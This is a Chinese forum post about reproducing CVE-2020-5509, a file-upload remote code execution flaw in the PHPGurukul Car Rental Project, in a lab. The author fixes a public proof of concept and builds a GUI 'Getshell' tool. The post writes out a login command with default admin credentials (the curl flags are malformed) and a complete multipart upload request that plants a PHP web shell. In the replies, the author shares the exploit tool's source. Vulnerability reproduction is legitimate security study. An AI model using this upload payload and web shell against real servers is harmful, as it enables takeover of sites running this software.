CVE-2020-5509复现及工具编写

零.前言:

下午在Github上逛,找代码学习,突然瞥到CVE-2020-5509,看到了外国友人写的POC


原址:https://github.com/FULLSHADE/CVE-2020-5509-POC
于是搭建了环境,进行复现!

一.环境搭建:

搭建环境:

Windows server 2012 R2 阿帕奇 PHP7.5

官方源码:https://phpgurukul.com/car-rental-project-php-mysql-free-download/
搭建时需要新建一个数据库,然后将官方给的.sql数据文件导入到那个库里!
之后配置config.php信息,(要配置两个,一个是\includes\config.php,一个是\admin\config.php)
搭建完成图:


之后就可以开始愉快地复现了!

二.复现过程:

我们先用国外人写的poc打一下靶场:

python CVE-2020-5509.py 192.168.1.5(目标ip)

1

[!] Failed to authenticate

难道失败了?我重新看了一遍国外人写的poc,原来有处坑!

/carrentalproject/carrental/admin/changeimage1.php ##我们实际上是搭建在根目录的,不知道他这个/carrentalproject/carrental/目录是怎么来的,正是因为如此,才会获取不到tok值!

我们改一下poc!
3
ba把路径中的/carrentalproject/carrental去掉,再试试!
4
ok,成功了!(但是它的终端有点奇怪,不管他)
国外友人的工具我用的不适手,于是便打算自己写一个图形化的工具!

三.工具编写(.e):

话不多说,先构建界面,再导入一个精易模块:
1
然后双击"Getshell"按钮,进入代码界面!
Getshell的第一步是要获取到Cookie,来进行鉴权文件上传!
2

curl -H "http://website/admin/index.php/" -D "username=admin&password=Test@12345&login="

然后就通过鉴权文件上传来进行getshell


上传包:

--I am lonely
Content-Disposition: form-data; name="img1"; filename="test.php"
Content-Type: image/jpeg

<?php system($_GET["cmd"]); ?>
--I am lonely
Content-Disposition: form-data; name="update"

--I am lonely

协议头:

Content-Type: multipart/form-data; boundary="I am lonely"

然后尝试一下:
4
成功上传!
源码就不发了,因为所有代码就这几行:
5
end!

参考文章:

https://www.anquanke.com/vul/id/1894422
https://govanguard.com/threat-center/2020/01/13/car-rental-project-1-0-remote-code-execution/
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202001-437
3 个赞

老哥源码能给一份吗?

当然可以
,cve-2020-5509 源码.rar (1.0 MB)

2 个赞

这是什么程序?